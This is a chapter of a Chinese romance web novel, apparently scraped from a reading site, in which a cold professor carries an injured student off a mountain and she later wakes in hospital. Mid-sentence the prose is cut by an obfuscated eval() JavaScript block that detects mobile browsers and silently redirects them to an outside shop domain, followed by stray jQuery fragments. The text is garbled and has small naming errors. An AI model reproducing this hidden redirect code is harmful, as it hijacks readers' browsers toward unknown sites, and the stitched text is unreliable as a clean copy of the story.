男人等了几秒,开始不耐烦,“要么上来,要么我直接给你挖个坑埋点土,你我都省事。”
难得听男人冷幽默。
说实话,一点都不好笑。
苏药没敢再继续惊讶,也顾不上哭了,一咬牙,拖着伤腿扑到了沈回秋的背上,沈回秋绝对是个说一不二的人,她倒是不怕对方真给她埋了,她是怕对方扔下她。
男人接了她的重量,微微晃动了一下,咬牙道,“你是属秤砣的吗?”
苏药敢怒不敢言,怎么不说自己力气小,她明明是再标准不过的体重,这几天军训折腾的还瘦了好几斤。
可她人还在对方背上,所以明智的闭了嘴。
能看得出来,沈回秋并不习惯背人,动作硬邦邦的,好在背起她走得还算稳当。
苏药也不怎么习惯,长这么大,除了苏爸爸,还从来没被别的男人背过,更何况这个人还是沈回秋。
其实直到现在,她都有点不太真实的感觉,她怎么也想不到,有朝一日,竟然还能有被沈回秋背着的一天。
她心里自然也清楚,以沈回秋的性子,八成是在嫌弃她这个伤残人士,毕竟就凭她仅剩的一条腿,等走出这座山,黄花菜都凉透了。
只是清楚归清楚,别扭也是真的别扭。
男人走动间,发丝偶尔会擦过她的鼻尖,痒痒的,还带些凉意,她忍不住撑起上半身,试图让自己离男人远一些。
然而才刚动了一下,便听男人冷声呵道,“再动就把你扔下去。”
苏药嘴一瘪,只能又老老实实的趴回了男人的背上。
男人的侧脸近在咫尺。
按说不管多漂亮的脸,离近了看总该能找出些瑕疵,尤其年纪上了三十,就算保养再得宜,也该有些岁月的痕迹了。
而且沈回秋怎么看也不像是会费心保养的人。
但她愣是没在这张脸上找到哪怕一点细纹,不得不说,老天爷偏心起来确实没边。
男人声音冰冷,“沈小姐,你看得再多,我的脸也变出钱来。”
苏药一愣,这才反应过来她看得似乎太投入了。
她发誓,她真的一点花痴的想法都没有,单纯就是好奇,好吧,最多再加些点嫉妒和感慨,毕竟没有哪个女人能做到面对着一张比自己漂亮了不知多少倍的脸,还能无动于衷。
可惜她说了,男人未必信,男人不信,她说了就有此地无银三百两的嫌疑。
苏药想缓解尴尬,又不想越描越黑,索性直接换个话题,没话找话。
“沈院长,你冷不冷?”
沈回秋的风衣还披在她身上,她的烧并没完全退,风一吹就冷得打哆嗦。
男人问,“你觉得呢?”
苏药摇头。
说话的功夫,男人的额角刚好滑过一滴汗珠,顺着脸侧的线条一路滚落到下巴,男人的喉结微微一动,那晶莹的汗珠便顷刻间没入了衣领。
苏药的目光鬼使神差的跟了过去,直到被挡在男人紧扣的衣领外,才瞬间回过神。
好在这次沈回秋没有发现。
她暗自松口气,又觉得心跳得有些快,只能继续没话找话,“那沈院长你饿不饿?”
男人毫不客气的打断她,“苏小姐,如果你说不出更有营养的话,就请把嘴闭上。”
苏药想,她倒是想闭上。
可一闭上,她的眼神就忍不住想往沈回秋的领口瞄,天知道是不是昨晚发烧烧坏了脑子。
琢磨来琢磨去,也只能归结为是人类对美好事物本能的向往,不管怎么样,沈回秋的这副皮囊还是挺具有观赏性的。
只不过平时的男人气势太强,她压根没那个胆子欣赏,今天或许是为了照顾她这个伤患,男人的气势倒是弱了不少,才让她有了这个可乘之机。
为了不让自己摔下去,她的胳膊不得不环在男人的脖子上。
对方的体温是与之性格截然相反的炙热,仿佛烧着一团火,刚才还不觉得,如今被这美色一勾,那团火便也跟着烧到了她的身上,烧得她心神不宁,整个人都有点不正常。
苏药深吸口气,为了不让自己更不正常,她觉得这嘴还是不要闭上的好。
于是她绞尽脑汁,试图找到个更有营养的话题。
“沈院长,你还背过别人没有?”
她绝对不承认,其实也有那么点好奇心在作祟,可惜男人看起来并不太想回答。
苏药等啊等,等到她都已经准备放弃,再另辟蹊径时,男人才淡淡开口,“背过。”
轻飘飘的两个字,瞬间就把她的好奇心全给勾了起来。
沈回秋不会真有女朋友吧?
不然她实在想象不出来,除了她这个迫不得已的突发状况外,还有谁能让沈大院长心甘情愿的贡献出自己的后背。
她迟疑片刻,试探道,“是女生?”
没想到这次男人竟然很干脆的点了头。
苏药的八卦心顿时更胜,好在她的理智还在,话在嘴边酝酿半晌,最终换了个比较委婉的问法,“她是个什么样的人?”
这样总不会显得太突兀。
男人却似乎看穿她的意图,嗤笑一声,道,“是个死人。”
语气如常,不见异样。
苏药一时间也不分不清这句话究竟是在陈述事实,还是单纯在威胁她。
不过很快,她又听见男人漫不经心的接了一句,“你是第二个。”
苏药瞬间打了个哆嗦,是背的第二个,还是死的第二个,好歹把话说清楚啊。
她这才意识到,就算气势弱了,沈回秋也还是那个沈回秋,不会因为她受了伤而变得平易近人,更不可能因为救了她就改变恶劣的本质。
这个念头让她一下子清醒过来
很好,她现在已经一点都没有尴尬的感觉,也完全不需要再继续找话题分散注意力。
苏药老老实实的闭上嘴,事实证明,能打败沈回秋的,果然只有沈回秋。
世界终于安静。
她本来就还烧着,又哭了一通耗费不少精力,刚才光顾着八卦还没觉得,这会儿亢奋的劲头一过,整个人突然就萎靡了下来。
她忍了一会儿,还是没忍住,不由得嘟哝道,“教授,我好像有点头晕。”
说罢也不等男人反应,脑袋一歪,便耷拉到了沈回秋的肩头,多等一秒都感觉会吐。
男人的身体明显僵硬了一下,却没再说出什么讽刺的话。
苏药总算舒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14268141|149341||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
服了些。
阳光晒在身上暖融融的,耳边是男人略显急促的呼吸声,像道催眠曲,她有点想睡,又强撑起眼皮,盯着一直在她眼前晃来晃去的耳垂发呆。
这男人就连耳朵都长得招人嫉妒。
只不过——
睡意终究是无法抵挡,彻底沦陷前,苏药仅剩下一个念头,为什么男人的耳垂会那么红?
这应该——不是她的幻觉吧?
……
等到再次醒来时,苏药发现自己已经躺在医院的病床上,手上插着吊瓶,床边坐着眼眶红肿的宁薇。
宁薇见她醒了,还没张口,先赏了她一个暴栗。
苏药龇牙咧嘴的捂住脑袋,“你怎么来了?”
宁薇公司最近忙个项目,忙得黑白颠倒,他们都十几天没联系了。
宁薇打完一巴掌不解气,又接了一巴掌,“你小命都快让自己给玩没了,姐姐我不得来给你收个尸。”
这语气莫名和沈回秋有点异曲同工之妙。
苏药瞬间就想起了睡着前的事,“是沈回秋把我背回来的?”
宁薇叉着腰咆哮,“你知不知道你在这儿躺了多久?姐姐我在这守了你两天,整整两天好嘛,你倒好,满脑子光想着那个男人,人家早回去了,还能在这儿守着你?”
苏药觉得冤枉,她什么时候满脑子光想着沈回秋了,不就才刚想了一下子吗?
不过宁薇的话倒是确实把她的注意力从沈回秋的身上给引了回来,“你说我睡了两天?”
她明明就觉得自己只睡了一小会儿。
宁薇怒,“错,是昏迷了两天。”
苏药惊讶,她一点感觉都没有,“那我爸——”
军训这段日子,她都是隔两天就给苏爸爸打个电话报平安,现在突然失联,又晚回去了这么多天,她爹妈还不得担心死。
宁薇没好气,“难得你还能想起来他们。”
苏药可怜巴巴,“姐,我错了,说重点。”
宁薇翻个白眼,最终还是妥协,“好歹是糊弄过去了,你爸给我打电话,说你三天没联系家里,给你打电话又一直没信号,担心你出事,我就赶紧去了趟你们学校,刚好碰见你们那个副院长,说你从山上掉下去了,基地的人正满山找你,我一听,哪敢跟你爸说实话,只能说是你手机坏了,结果你人是找回来了,又一直昏迷不醒,还好有你们那个校长打掩护,亲自打了电话过去解释,说是有学生在基地出了事,你留下帮忙照顾,这才没让你爸怀疑。”
说到最后,宁薇的语气终于缓和。
看似轻描淡写的三言两语,苏药却能想象出其中的惊心动魄
还好没露馅。
如果有可能,她真的一点都不想再让她爹妈为她操心。
苏药赶紧给家里打了个电话,电话接起的一瞬间,她又有点想哭,只能支支吾吾的说手机才刚修好,学生的事已经处理的差不多,马上就能回去。
苏爸爸在那边沉默了好一会儿,才道,“早点回来,爸给你炖红烧肉。”
苏药的眼泪差点就没憋住。
她总觉得,其实她爹还是能感觉出点什么,毕竟知女莫若父,不过她爹不问,她自然也不会再说出来徒增担忧。